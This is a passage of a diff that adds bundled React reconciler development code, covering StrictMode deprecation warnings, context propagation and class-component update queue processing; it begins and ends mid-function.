+            queueRecoverableErrors(hydrationErrors);
+            hydrationErrors = null;
+          }
+        }
+        function getIsHydrating() {
+          return isHydrating;
+        }
+        function queueHydrationError(error2) {
+          if (hydrationErrors === null) {
+            hydrationErrors = [error2];
+          } else {
+            hydrationErrors.push(error2);
+          }
+        }
+        var ReactCurrentBatchConfig$1 = ReactSharedInternals.ReactCurrentBatchConfig;
+        var NoTransition = null;
+        function requestCurrentTransition() {
+          return ReactCurrentBatchConfig$1.transition;
+        }
+        var ReactStrictModeWarnings = {
+          recordUnsafeLifecycleWarnings: function(fiber, instance) {
+          },
+          flushPendingUnsafeLifecycleWarnings: function() {
+          },
+          recordLegacyContextWarning: function(fiber, instance) {
+          },
+          flushLegacyContextWarning: function() {
+          },
+          discardPendingWarnings: function() {
+          }
+        };
+        {
+          var findStrictRoot = function(fiber) {
+            var maybeStrictRoot = null;
+            var node = fiber;
+            while (node !== null) {
+              if (node.mode & StrictLegacyMode) {
+                maybeStrictRoot = node;
+              }
+              node = node.return;
+            }
+            return maybeStrictRoot;
+          };
+          var setToSortedString = function(set2) {
+            var array = [];
+            set2.forEach(function(value) {
+              array.push(value);
+            });
+            return array.sort().join(", ");
+          };
+          var pendingComponentWillMountWarnings = [];
+          var pendingUNSAFE_ComponentWillMountWarnings = [];
+          var pendingComponentWillReceivePropsWarnings = [];
+          var pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
+          var pendingComponentWillUpdateWarnings = [];
+          var pendingUNSAFE_ComponentWillUpdateWarnings = [];
+          var didWarnAboutUnsafeLifecycles = /* @__PURE__ */ new Set();
+          ReactStrictModeWarnings.recordUnsafeLifecycleWarnings = function(fiber, instance) {
+            if (didWarnAboutUnsafeLifecycles.has(fiber.type)) {
+              return;
+            }
+            if (typeof instance.componentWillMount === "function" && instance.componentWillMount.__suppressDeprecationWarning !== true) {
+              pendingComponentWillMountWarnings.push(fiber);
+            }
+            if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillMount === "function") {
+              pendingUNSAFE_ComponentWillMountWarnings.push(fiber);
+            }
+            if (typeof instance.componentWillReceiveProps === "function" && instance.componentWillReceiveProps.__suppressDeprecationWarning !== true) {
+              pendingComponentWillReceivePropsWarnings.push(fiber);
+            }
+            if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillReceiveProps === "function") {
+              pendingUNSAFE_ComponentWillReceivePropsWarnings.push(fiber);
+            }
+            if (typeof instance.componentWillUpdate === "function" && instance.componentWillUpdate.__suppressDeprecationWarning !== true) {
+              pendingComponentWillUpdateWarnings.push(fiber);
+            }
+            if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillUpdate === "function") {
+              pendingUNSAFE_ComponentWillUpdateWarnings.push(fiber);
+            }
+          };
+          ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings = function() {
+            var componentWillMountUniqueNames = /* @__PURE__ */ new Set();
+            if (pendingComponentWillMountWarnings.length > 0) {
+              pendingComponentWillMountWarnings.forEach(function(fiber) {
+                componentWillMountUniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutUnsafeLifecycles.add(fiber.type);
+              });
+              pendingComponentWillMountWarnings = [];
+            }
+            var UNSAFE_componentWillMountUniqueNames = /* @__PURE__ */ new Set();
+            if (pendingUNSAFE_ComponentWillMountWarnings.length > 0) {
+              pendingUNSAFE_ComponentWillMountWarnings.forEach(function(fiber) {
+                UNSAFE_componentWillMountUniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutUnsafeLifecycles.add(fiber.type);
+              });
+              pendingUNSAFE_ComponentWillMountWarnings = [];
+            }
+            var componentWillReceivePropsUniqueNames = /* @__PURE__ */ new Set();
+            if (pendingComponentWillReceivePropsWarnings.length > 0) {
+              pendingComponentWillReceivePropsWarnings.forEach(function(fiber) {
+                componentWillReceivePropsUniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutUnsafeLifecycles.add(fiber.type);
+              });
+              pendingComponentWillReceivePropsWarnings = [];
+            }
+            var UNSAFE_componentWillReceivePropsUniqueNames = /* @__PURE__ */ new Set();
+            if (pendingUNSAFE_ComponentWillReceivePropsWarnings.length > 0) {
+              pendingUNSAFE_ComponentWillReceivePropsWarnings.forEach(function(fiber) {
+                UNSAFE_componentWillReceivePropsUniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutUnsafeLifecycles.add(fiber.type);
+              });
+              pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
+            }
+            var componentWillUpdateUniqueNames = /* @__PURE__ */ new Set();
+            if (pendingComponentWillUpdateWarnings.length > 0) {
+              pendingComponentWillUpdateWarnings.forEach(function(fiber) {
+                componentWillUpdateUniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutUnsafeLifecycles.add(fiber.type);
+              });
+              pendingComponentWillUpdateWarnings = [];
+            }
+            var UNSAFE_componentWillUpdateUniqueNames = /* @__PURE__ */ new Set();
+            if (pendingUNSAFE_ComponentWillUpdateWarnings.length > 0) {
+              pendingUNSAFE_ComponentWillUpdateWarnings.forEach(function(fiber) {
+                UNSAFE_componentWillUpdateUniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutUnsafeLifecycles.add(fiber.type);
+              });
+              pendingUNSAFE_ComponentWillUpdateWarnings = [];
+            }
+            if (UNSAFE_componentWillMountUniqueNames.size > 0) {
+              var sortedNames = setToSortedString(UNSAFE_componentWillMountUniqueNames);
+              error("Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n* Move code with side effects to componentDidMount, and set initial state in the constructor.\n\nPlease update the following components: %s", sortedNames);
+            }
+            if (UNSAFE_componentWillReceivePropsUniqueNames.size > 0) {
+              var _sortedNames = setToSortedString(UNSAFE_componentWillReceivePropsUniqueNames);
+              error("Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://reactjs.org/link/derived-state\n\nPlease update the following components: %s", _sortedNames);
+            }
+            if (UNSAFE_componentWillUpdateUniqueNames.size > 0) {
+              var _sortedNames2 = setToSortedString(UNSAFE_componentWillUpdateUniqueNames);
+              error("Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n\nPlease update the following components: %s", _sortedNames2);
+            }
+            if (componentWillMountUniqueNames.size > 0) {
+              var _sortedNames3 = setToSortedString(componentWillMountUniqueNames);
+              warn("componentWillMount has been renamed, and is not recommended for use. See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n* Move code with side effects to componentDidMount, and set initial state in the constructor.\n* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\nPlease update the following components: %s", _sortedNames3);
+            }
+            if (componentWillReceivePropsUniqueNames.size > 0) {
+              var _sortedNames4 = setToSortedString(componentWillReceivePropsUniqueNames);
+              warn("componentWillReceiveProps has been renamed, and is not recommended for use. See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://reactjs.org/link/derived-state\n* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\nPlease update the following components: %s", _sortedNames4);
+            }
+            if (componentWillUpdateUniqueNames.size > 0) {
+              var _sortedNames5 = setToSortedString(componentWillUpdateUniqueNames);
+              warn("componentWillUpdate has been renamed, and is not recommended for use. See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\nPlease update the following components: %s", _sortedNames5);
+            }
+          };
+          var pendingLegacyContextWarning = /* @__PURE__ */ new Map();
+          var didWarnAboutLegacyContext = /* @__PURE__ */ new Set();
+          ReactStrictModeWarnings.recordLegacyContextWarning = function(fiber, instance) {
+            var strictRoot = findStrictRoot(fiber);
+            if (strictRoot === null) {
+              error("Expected to find a StrictMode component in a strict mode tree. This error is likely caused by a bug in React. Please file an issue.");
+              return;
+            }
+            if (didWarnAboutLegacyContext.has(fiber.type)) {
+              return;
+            }
+            var warningsForRoot = pendingLegacyContextWarning.get(strictRoot);
+            if (fiber.type.contextTypes != null || fiber.type.childContextTypes != null || instance !== null && typeof instance.getChildContext === "function") {
+              if (warningsForRoot === void 0) {
+                warningsForRoot = [];
+                pendingLegacyContextWarning.set(strictRoot, warningsForRoot);
+              }
+              warningsForRoot.push(fiber);
+            }
+          };
+          ReactStrictModeWarnings.flushLegacyContextWarning = function() {
+            pendingLegacyContextWarning.forEach(function(fiberArray, strictRoot) {
+              if (fiberArray.length === 0) {
+                return;
+              }
+              var firstFiber = fiberArray[0];
+              var uniqueNames = /* @__PURE__ */ new Set();
+              fiberArray.forEach(function(fiber) {
+                uniqueNames.add(getComponentNameFromFiber(fiber) || "Component");
+                didWarnAboutLegacyContext.add(fiber.type);
+              });
+              var sortedNames = setToSortedString(uniqueNames);
+              try {
+                setCurrentFiber(firstFiber);
+                error("Legacy context API has been detected within a strict-mode tree.\n\nThe old API will be supported in all 16.x releases, but applications using it should migrate to the new version.\n\nPlease update the following components: %s\n\nLearn more about this warning here: https://reactjs.org/link/legacy-context", sortedNames);
+              } finally {
+                resetCurrentFiber();
+              }
+            });
+          };
+          ReactStrictModeWarnings.discardPendingWarnings = function() {
+            pendingComponentWillMountWarnings = [];
+            pendingUNSAFE_ComponentWillMountWarnings = [];
+            pendingComponentWillReceivePropsWarnings = [];
+            pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
+            pendingComponentWillUpdateWarnings = [];
+            pendingUNSAFE_ComponentWillUpdateWarnings = [];
+            pendingLegacyContextWarning = /* @__PURE__ */ new Map();
+          };
+        }
+        function resolveDefaultProps(Component, baseProps) {
+          if (Component && Component.defaultProps) {
+            var props = assign({}, baseProps);
+            var defaultProps = Component.defaultProps;
+            for (var propName in defaultProps) {
+              if (props[propName] === void 0) {
+                props[propName] = defaultProps[propName];
+              }
+            }
+            return props;
+          }
+          return baseProps;
+        }
+        var valueCursor = createCursor(null);
+        var rendererSigil;
+        {
+          rendererSigil = {};
+        }
+        var currentlyRenderingFiber = null;
+        var lastContextDependency = null;
+        var lastFullyObservedContext = null;
+        var isDisallowedContextReadInDEV = false;
+        function resetContextDependencies() {
+          currentlyRenderingFiber = null;
+          lastContextDependency = null;
+          lastFullyObservedContext = null;
+          {
+            isDisallowedContextReadInDEV = false;
+          }
+        }
+        function enterDisallowedContextReadInDEV() {
+          {
+            isDisallowedContextReadInDEV = true;
+          }
+        }
+        function exitDisallowedContextReadInDEV() {
+          {
+            isDisallowedContextReadInDEV = false;
+          }
+        }
+        function pushProvider(providerFiber, context, nextValue) {
+          {
+            push(valueCursor, context._currentValue, providerFiber);
+            context._currentValue = nextValue;
+            {
+              if (context._currentRenderer !== void 0 && context._currentRenderer !== null && context._currentRenderer !== rendererSigil) {
+                error("Detected multiple renderers concurrently rendering the same context provider. This is currently unsupported.");
+              }
+              context._currentRenderer = rendererSigil;
+            }
+          }
+        }
+        function popProvider(context, providerFiber) {
+          var currentValue = valueCursor.current;
+          pop(valueCursor, providerFiber);
+          {
+            {
+              context._currentValue = currentValue;
+            }
+          }
+        }
+        function scheduleContextWorkOnParentPath(parent, renderLanes2, propagationRoot) {
+          var node = parent;
+          while (node !== null) {
+            var alternate = node.alternate;
+            if (!isSubsetOfLanes(node.childLanes, renderLanes2)) {
+              node.childLanes = mergeLanes(node.childLanes, renderLanes2);
+              if (alternate !== null) {
+                alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes2);
+              }
+            } else if (alternate !== null && !isSubsetOfLanes(alternate.childLanes, renderLanes2)) {
+              alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes2);
+            }
+            if (node === propagationRoot) {
+              break;
+            }
+            node = node.return;
+          }
+          {
+            if (node !== propagationRoot) {
+              error("Expected to find the propagation root when scheduling context work. This error is likely caused by a bug in React. Please file an issue.");
+            }
+          }
+        }
+        function propagateContextChange(workInProgress2, context, renderLanes2) {
+          {
+            propagateContextChange_eager(workInProgress2, context, renderLanes2);
+          }
+        }
+        function propagateContextChange_eager(workInProgress2, context, renderLanes2) {
+          var fiber = workInProgress2.child;
+          if (fiber !== null) {
+            fiber.return = workInProgress2;
+          }
+          while (fiber !== null) {
+            var nextFiber = void 0;
+            var list = fiber.dependencies;
+            if (list !== null) {
+              nextFiber = fiber.child;
+              var dependency = list.firstContext;
+              while (dependency !== null) {
+                if (dependency.context === context) {
+                  if (fiber.tag === ClassComponent) {
+                    var lane = pickArbitraryLane(renderLanes2);
+                    var update = createUpdate(NoTimestamp, lane);
+                    update.tag = ForceUpdate;
+                    var updateQueue = fiber.updateQueue;
+                    if (updateQueue === null)
+                      ;
+                    else {
+                      var sharedQueue = updateQueue.shared;
+                      var pending = sharedQueue.pending;
+                      if (pending === null) {
+                        update.next = update;
+                      } else {
+                        update.next = pending.next;
+                        pending.next = update;
+                      }
+                      sharedQueue.pending = update;
+                    }
+                  }
+                  fiber.lanes = mergeLanes(fiber.lanes, renderLanes2);
+                  var alternate = fiber.alternate;
+                  if (alternate !== null) {
+                    alternate.lanes = mergeLanes(alternate.lanes, renderLanes2);
+                  }
+                  scheduleContextWorkOnParentPath(fiber.return, renderLanes2, workInProgress2);
+                  list.lanes = mergeLanes(list.lanes, renderLanes2);
+                  break;
+                }
+                dependency = dependency.next;
+              }
+            } else if (fiber.tag === ContextProvider) {
+              nextFiber = fiber.type === workInProgress2.type ? null : fiber.child;
+            } else if (fiber.tag === DehydratedFragment) {
+              var parentSuspense = fiber.return;
+              if (parentSuspense === null) {
+                throw new Error("We just came from a parent so we must have had a parent. This is a bug in React.");
+              }
+              parentSuspense.lanes = mergeLanes(parentSuspense.lanes, renderLanes2);
+              var _alternate = parentSuspense.alternate;
+              if (_alternate !== null) {
+                _alternate.lanes = mergeLanes(_alternate.lanes, renderLanes2);
+              }
+              scheduleContextWorkOnParentPath(parentSuspense, renderLanes2, workInProgress2);
+              nextFiber = fiber.sibling;
+            } else {
+              nextFiber = fiber.child;
+            }
+            if (nextFiber !== null) {
+              nextFiber.return = fiber;
+            } else {
+              nextFiber = fiber;
+              while (nextFiber !== null) {
+                if (nextFiber === workInProgress2) {
+                  nextFiber = null;
+                  break;
+                }
+                var sibling = nextFiber.sibling;
+                if (sibling !== null) {
+                  sibling.return = nextFiber.return;
+                  nextFiber = sibling;
+                  break;
+                }
+                nextFiber = nextFiber.return;
+              }
+            }
+            fiber = nextFiber;
+          }
+        }
+        function prepareToReadContext(workInProgress2, renderLanes2) {
+          currentlyRenderingFiber = workInProgress2;
+          lastContextDependency = null;
+          lastFullyObservedContext = null;
+          var dependencies = workInProgress2.dependencies;
+          if (dependencies !== null) {
+            {
+              var firstContext = dependencies.firstContext;
+              if (firstContext !== null) {
+                if (includesSomeLane(dependencies.lanes, renderLanes2)) {
+                  markWorkInProgressReceivedUpdate();
+                }
+                dependencies.firstContext = null;
+              }
+            }
+          }
+        }
+        function readContext(context) {
+          {
+            if (isDisallowedContextReadInDEV) {
+              error("Context can only be read while React is rendering. In classes, you can read it in the render method or getDerivedStateFromProps. In function components, you can read it directly in the function body, but not inside Hooks like useReducer() or useMemo().");
+            }
+          }
+          var value = context._currentValue;
+          if (lastFullyObservedContext === context)
+            ;
+          else {
+            var contextItem = {
+              context,
+              memoizedValue: value,
+              next: null
+            };
+            if (lastContextDependency === null) {
+              if (currentlyRenderingFiber === null) {
+                throw new Error("Context can only be read while React is rendering. In classes, you can read it in the render method or getDerivedStateFromProps. In function components, you can read it directly in the function body, but not inside Hooks like useReducer() or useMemo().");
+              }
+              lastContextDependency = contextItem;
+              currentlyRenderingFiber.dependencies = {
+                lanes: NoLanes,
+                firstContext: contextItem
+              };
+            } else {
+              lastContextDependency = lastContextDependency.next = contextItem;
+            }
+          }
+          return value;
+        }
+        var concurrentQueues = null;
+        function pushConcurrentUpdateQueue(queue) {
+          if (concurrentQueues === null) {
+            concurrentQueues = [queue];
+          } else {
+            concurrentQueues.push(queue);
+          }
+        }
+        function finishQueueingConcurrentUpdates() {
+          if (concurrentQueues !== null) {
+            for (var i2 = 0; i2 < concurrentQueues.length; i2++) {
+              var queue = concurrentQueues[i2];
+              var lastInterleavedUpdate = queue.interleaved;
+              if (lastInterleavedUpdate !== null) {
+                queue.interleaved = null;
+                var firstInterleavedUpdate = lastInterleavedUpdate.next;
+                var lastPendingUpdate = queue.pending;
+                if (lastPendingUpdate !== null) {
+                  var firstPendingUpdate = lastPendingUpdate.next;
+                  lastPendingUpdate.next = firstInterleavedUpdate;
+                  lastInterleavedUpdate.next = firstPendingUpdate;
+                }
+                queue.pending = lastInterleavedUpdate;
+              }
+            }
+            concurrentQueues = null;
+          }
+        }
+        function enqueueConcurrentHookUpdate(fiber, queue, update, lane) {
+          var interleaved = queue.interleaved;
+          if (interleaved === null) {
+            update.next = update;
+            pushConcurrentUpdateQueue(queue);
+          } else {
+            update.next = interleaved.next;
+            interleaved.next = update;
+          }
+          queue.interleaved = update;
+          return markUpdateLaneFromFiberToRoot(fiber, lane);
+        }
+        function enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update, lane) {
+          var interleaved = queue.interleaved;
+          if (interleaved === null) {
+            update.next = update;
+            pushConcurrentUpdateQueue(queue);
+          } else {
+            update.next = interleaved.next;
+            interleaved.next = update;
+          }
+          queue.interleaved = update;
+        }
+        function enqueueConcurrentClassUpdate(fiber, queue, update, lane) {
+          var interleaved = queue.interleaved;
+          if (interleaved === null) {
+            update.next = update;
+            pushConcurrentUpdateQueue(queue);
+          } else {
+            update.next = interleaved.next;
+            interleaved.next = update;
+          }
+          queue.interleaved = update;
+          return markUpdateLaneFromFiberToRoot(fiber, lane);
+        }
+        function enqueueConcurrentRenderForLane(fiber, lane) {
+          return markUpdateLaneFromFiberToRoot(fiber, lane);
+        }
+        var unsafe_markUpdateLaneFromFiberToRoot = markUpdateLaneFromFiberToRoot;
+        function markUpdateLaneFromFiberToRoot(sourceFiber, lane) {
+          sourceFiber.lanes = mergeLanes(sourceFiber.lanes, lane);
+          var alternate = sourceFiber.alternate;
+          if (alternate !== null) {
+            alternate.lanes = mergeLanes(alternate.lanes, lane);
+          }
+          {
+            if (alternate === null && (sourceFiber.flags & (Placement | Hydrating)) !== NoFlags) {
+              warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);
+            }
+          }
+          var node = sourceFiber;
+          var parent = sourceFiber.return;
+          while (parent !== null) {
+            parent.childLanes = mergeLanes(parent.childLanes, lane);
+            alternate = parent.alternate;
+            if (alternate !== null) {
+              alternate.childLanes = mergeLanes(alternate.childLanes, lane);
+            } else {
+              {
+                if ((parent.flags & (Placement | Hydrating)) !== NoFlags) {
+                  warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);
+                }
+              }
+            }
+            node = parent;
+            parent = parent.return;
+          }
+          if (node.tag === HostRoot) {
+            var root2 = node.stateNode;
+            return root2;
+          } else {
+            return null;
+          }
+        }
+        var UpdateState = 0;
+        var ReplaceState = 1;
+        var ForceUpdate = 2;
+        var CaptureUpdate = 3;
+        var hasForceUpdate = false;
+        var didWarnUpdateInsideUpdate;
+        var currentlyProcessingQueue;
+        {
+          didWarnUpdateInsideUpdate = false;
+          currentlyProcessingQueue = null;
+        }
+        function initializeUpdateQueue(fiber) {
+          var queue = {
+            baseState: fiber.memoizedState,
+            firstBaseUpdate: null,
+            lastBaseUpdate: null,
+            shared: {
+              pending: null,
+              interleaved: null,
+              lanes: NoLanes
+            },
+            effects: null
+          };
+          fiber.updateQueue = queue;
+        }
+        function cloneUpdateQueue(current2, workInProgress2) {
+          var queue = workInProgress2.updateQueue;
+          var currentQueue = current2.updateQueue;
+          if (queue === currentQueue) {
+            var clone = {
+              baseState: currentQueue.baseState,
+              firstBaseUpdate: currentQueue.firstBaseUpdate,
+              lastBaseUpdate: currentQueue.lastBaseUpdate,
+              shared: currentQueue.shared,
+              effects: currentQueue.effects
+            };
+            workInProgress2.updateQueue = clone;
+          }
+        }
+        function createUpdate(eventTime, lane) {
+          var update = {
+            eventTime,
+            lane,
+            tag: UpdateState,
+            payload: null,
+            callback: null,
+            next: null
+          };
+          return update;
+        }
+        function enqueueUpdate(fiber, update, lane) {
+          var updateQueue = fiber.updateQueue;
+          if (updateQueue === null) {
+            return null;
+          }
+          var sharedQueue = updateQueue.shared;
+          {
+            if (currentlyProcessingQueue === sharedQueue && !didWarnUpdateInsideUpdate) {
+              error("An update (setState, replaceState, or forceUpdate) was scheduled from inside an update function. Update functions should be pure, with zero side-effects. Consider using componentDidUpdate or a callback.");
+              didWarnUpdateInsideUpdate = true;
+            }
+          }
+          if (isUnsafeClassRenderPhaseUpdate()) {
+            var pending = sharedQueue.pending;
+            if (pending === null) {
+              update.next = update;
+            } else {
+              update.next = pending.next;
+              pending.next = update;
+            }
+            sharedQueue.pending = update;
+            return unsafe_markUpdateLaneFromFiberToRoot(fiber, lane);
+          } else {
+            return enqueueConcurrentClassUpdate(fiber, sharedQueue, update, lane);
+          }
+        }
+        function entangleTransitions(root2, fiber, lane) {
+          var updateQueue = fiber.updateQueue;
+          if (updateQueue === null) {
+            return;
+          }
+          var sharedQueue = updateQueue.shared;
+          if (isTransitionLane(lane)) {
+            var queueLanes = sharedQueue.lanes;
+            queueLanes = intersectLanes(queueLanes, root2.pendingLanes);
+            var newQueueLanes = mergeLanes(queueLanes, lane);
+            sharedQueue.lanes = newQueueLanes;
+            markRootEntangled(root2, newQueueLanes);
+          }
+        }
+        function enqueueCapturedUpdate(workInProgress2, capturedUpdate) {
+          var queue = workInProgress2.updateQueue;
+          var current2 = workInProgress2.alternate;
+          if (current2 !== null) {
+            var currentQueue = current2.updateQueue;
+            if (queue === currentQueue) {
+              var newFirst = null;
+              var newLast = null;
+              var firstBaseUpdate = queue.firstBaseUpdate;
+              if (firstBaseUpdate !== null) {
+                var update = firstBaseUpdate;
+                do {
+                  var clone = {
+                    eventTime: update.eventTime,
+                    lane: update.lane,
+                    tag: update.tag,
+                    payload: update.payload,
+                    callback: update.callback,
+                    next: null
+                  };
+                  if (newLast === null) {
+                    newFirst = newLast = clone;
+                  } else {
+                    newLast.next = clone;
+                    newLast = clone;
+                  }
+                  update = update.next;
+                } while (update !== null);
+                if (newLast === null) {
+                  newFirst = newLast = capturedUpdate;
+                } else {
+                  newLast.next = capturedUpdate;
+                  newLast = capturedUpdate;
+                }
+              } else {
+                newFirst = newLast = capturedUpdate;
+              }
+              queue = {
+                baseState: currentQueue.baseState,
+                firstBaseUpdate: newFirst,
+                lastBaseUpdate: newLast,
+                shared: currentQueue.shared,
+                effects: currentQueue.effects
+              };
+              workInProgress2.updateQueue = queue;
+              return;
+            }
+          }
+          var lastBaseUpdate = queue.lastBaseUpdate;
+          if (lastBaseUpdate === null) {
+            queue.firstBaseUpdate = capturedUpdate;
+          } else {
+            lastBaseUpdate.next = capturedUpdate;
+          }
+          queue.lastBaseUpdate = capturedUpdate;
+        }
+        function getStateFromUpdate(workInProgress2, queue, update, prevState, nextProps, instance) {
+          switch (update.tag) {
+            case ReplaceState: {
+              var payload = update.payload;
+              if (typeof payload === "function") {
+                {
+                  enterDisallowedContextReadInDEV();
+                }
+                var nextState = payload.call(instance, prevState, nextProps);
+                {
+                  if (workInProgress2.mode & StrictLegacyMode) {
+                    setIsStrictModeForDevtools(true);
+                    try {
+                      payload.call(instance, prevState, nextProps);
+                    } finally {
+                      setIsStrictModeForDevtools(false);
+                    }
+                  }
+                  exitDisallowedContextReadInDEV();
+                }
+                return nextState;
+              }
+              return payload;
+            }
+            case CaptureUpdate: {
+              workInProgress2.flags = workInProgress2.flags & ~ShouldCapture | DidCapture;
+            }
+            case UpdateState: {
+              var _payload = update.payload;
+              var partialState;
+              if (typeof _payload === "function") {
+                {
+                  enterDisallowedContextReadInDEV();
+                }
+                partialState = _payload.call(instance, prevState, nextProps);
+                {
+                  if (workInProgress2.mode & StrictLegacyMode) {
+                    setIsStrictModeForDevtools(true);
+                    try {
+                      _payload.call(instance, prevState, nextProps);
+                    } finally {
+                      setIsStrictModeForDevtools(false);
+                    }
+                  }
+                  exitDisallowedContextReadInDEV();
+                }
+              } else {
+                partialState = _payload;
+              }
+              if (partialState === null || partialState === void 0) {
+                return prevState;
+              }
+              return assign({}, prevState, partialState);
+            }
+            case ForceUpdate: {
+              hasForceUpdate = true;
+              return prevState;
+            }
+          }
+          return prevState;
+        }
+        function processUpdateQueue(workInProgress2, props, instance, renderLanes2) {
+          var queue = workInProgress2.updateQueue;
+          hasForceUpdate = false;
+          {
+            currentlyProcessingQueue = queue.shared;
+          }
+          var firstBaseUpdate = queue.firstBaseUpdate;
+          var lastBaseUpdate = queue.lastBaseUpdate;
+          var pendingQueue = queue.shared.pending;
+          if (pendingQueue !== null) {
+            queue.shared.pending = null;
+            var lastPendingUpdate = pendingQueue;
+            var firstPendingUpdate = lastPendingUpdate.next;
+            lastPendingUpdate.next = null;
+            if (lastBaseUpdate === null) {
+              firstBaseUpdate = firstPendingUpdate;
+            } else {
+              lastBaseUpdate.next = firstPendingUpdate;
+            }
+            lastBaseUpdate = lastPendingUpdate;
+            var current2 = workInProgress2.alternate;
+            if (current2 !== null) {
+              var currentQueue = current2.updateQueue;
+              var currentLastBaseUpdate = currentQueue.lastBaseUpdate;
+              if (currentLastBaseUpdate !== lastBaseUpdate) {
+                if (currentLastBaseUpdate === null) {
+                  currentQueue.firstBaseUpdate = firstPendingUpdate;
+                } else {
+                  currentLastBaseUpdate.next = firstPendingUpdate;
+                }
+                currentQueue.lastBaseUpdate = lastPendingUpdate;
+              }
+            }
+          }
+          if (firstBaseUpdate !== null) {
+            var newState = queue.baseState;
+            var newLanes = NoLanes;
+            var newBaseState = null;
+            var newFirstBaseUpdate = null;
+            var newLastBaseUpdate = null;
+            var update = firstBaseUpdate;
+            do {
+              var updateLane = update.lane;
+              var updateEventTime = update.eventTime;
+              if (!isSubsetOfLanes(renderLanes2, updateLane)) {
+                var clone = {
+                  eventTime: updateEventTime,
+                  lane: updateLane,
+                  tag: update.tag,
+                  payload: update.payload,
+                  callback: update.callback,
+                  next: null
+                };
+                if (newLastBaseUpdate === null) {
+                  newFirstBaseUpdate = newLastBaseUpdate = clone;
+                  newBaseState = newState;
+                } else {
+                  newLastBaseUpdate = newLastBaseUpdate.next = clone;
+                }
+                newLanes = mergeLanes(newLanes, updateLane);
+              } else {
+                if (newLastBaseUpdate !== null) {
+                  var _clone = {
+                    eventTime: updateEventTime,
+                    lane: NoLane,
+                    tag: update.tag,
+                    payload: update.payload,
+                    callback: update.callback,
+                    next: null
+                  };
+                  newLastBaseUpdate = newLastBaseUpdate.next = _clone;
+                }
+                newState = getStateFromUpdate(workInProgress2, queue, update, newState, props, instance);
+                var callback = update.callback;
+                if (callback !== null && update.lane !== NoLane) {
+                  workInProgress2.flags |= Callback;
+                  var effects = queue.effects;
+                  if (effects === null) {
+                    queue.effects = [update];
+                  } else {
+                    effects.push(update);
+                  }
+                }
+              }
+              update = update.next;
+              if (update === null) {
+                pendingQueue = queue.shared.pending;
+                if (pendingQueue === null) {
+                  break;
+                } else {
+                  var _lastPendingUpdate = pendingQueue;
+                  var _firstPendingUpdate = _lastPendingUpdate.next;
+                  _lastPendingUpdate.next = null;
+                  update = _firstPendingUpdate;
+                  queue.lastBaseUpdate = _lastPendingUpdate;
+                  queue.shared.pending = null;
+                }
+              }
+            } while (true);
+            if (newLastBaseUpdate === null) {
+              newBaseState = newState;
+            }
+            queue.baseState = newBaseState;
+            queue.firstBaseUpdate = newFirstBaseUpdate;
+            queue.lastBaseUpdate = newLastBaseUpdate;
+            var lastInterleaved = queue.shared.interleaved;
+            if (lastInterleaved !== null) {
+              var interleaved = lastInterleaved;
+              do {
+                newLanes = mergeLanes(newLanes, interleaved.lane);
+                interleaved = interleaved.next;
+              } while (interleaved !== lastInterleaved);
+            } else if (firstBaseUpdate === null) {
+              queue.shared.lanes = NoLanes;
+            }
+            markSkippedUpdateLanes(newLanes);
+            workInProgress2.lanes = newLanes;
+            workInProgress2.memoizedState = newState;
+          }
+          {
+            currentlyProcessingQueue = null;
+          }
+        }
+        function callCallback(callback, context) {
+          if (typeof callback !== "function") {
+            throw new Error("Invalid argument passed as callback. Expected a function. Instead " + ("received: " + callback));
+          }
+          callback.call(context);
+        }
+        function resetHasForceUpdateBeforeProcessing() {
+          hasForceUpdate = false;
+        }
+        function checkHasForceUpdateAfterProcessing() {
+          return hasForceUpdate;
+        }
+        function commitUpdateQueue(finishedWork, finishedQueue, instance) {
+          var effects = finishedQueue.effects;
+          finishedQueue.effects = null;
+          if (effects !== null) {
+            for (var i2 = 0; i2 < effects.length; i2++) {
+              var effect = effects[i2];
+              var callback = effect.callback;
+              if (callback !== null) {
+                effect.callback = null;
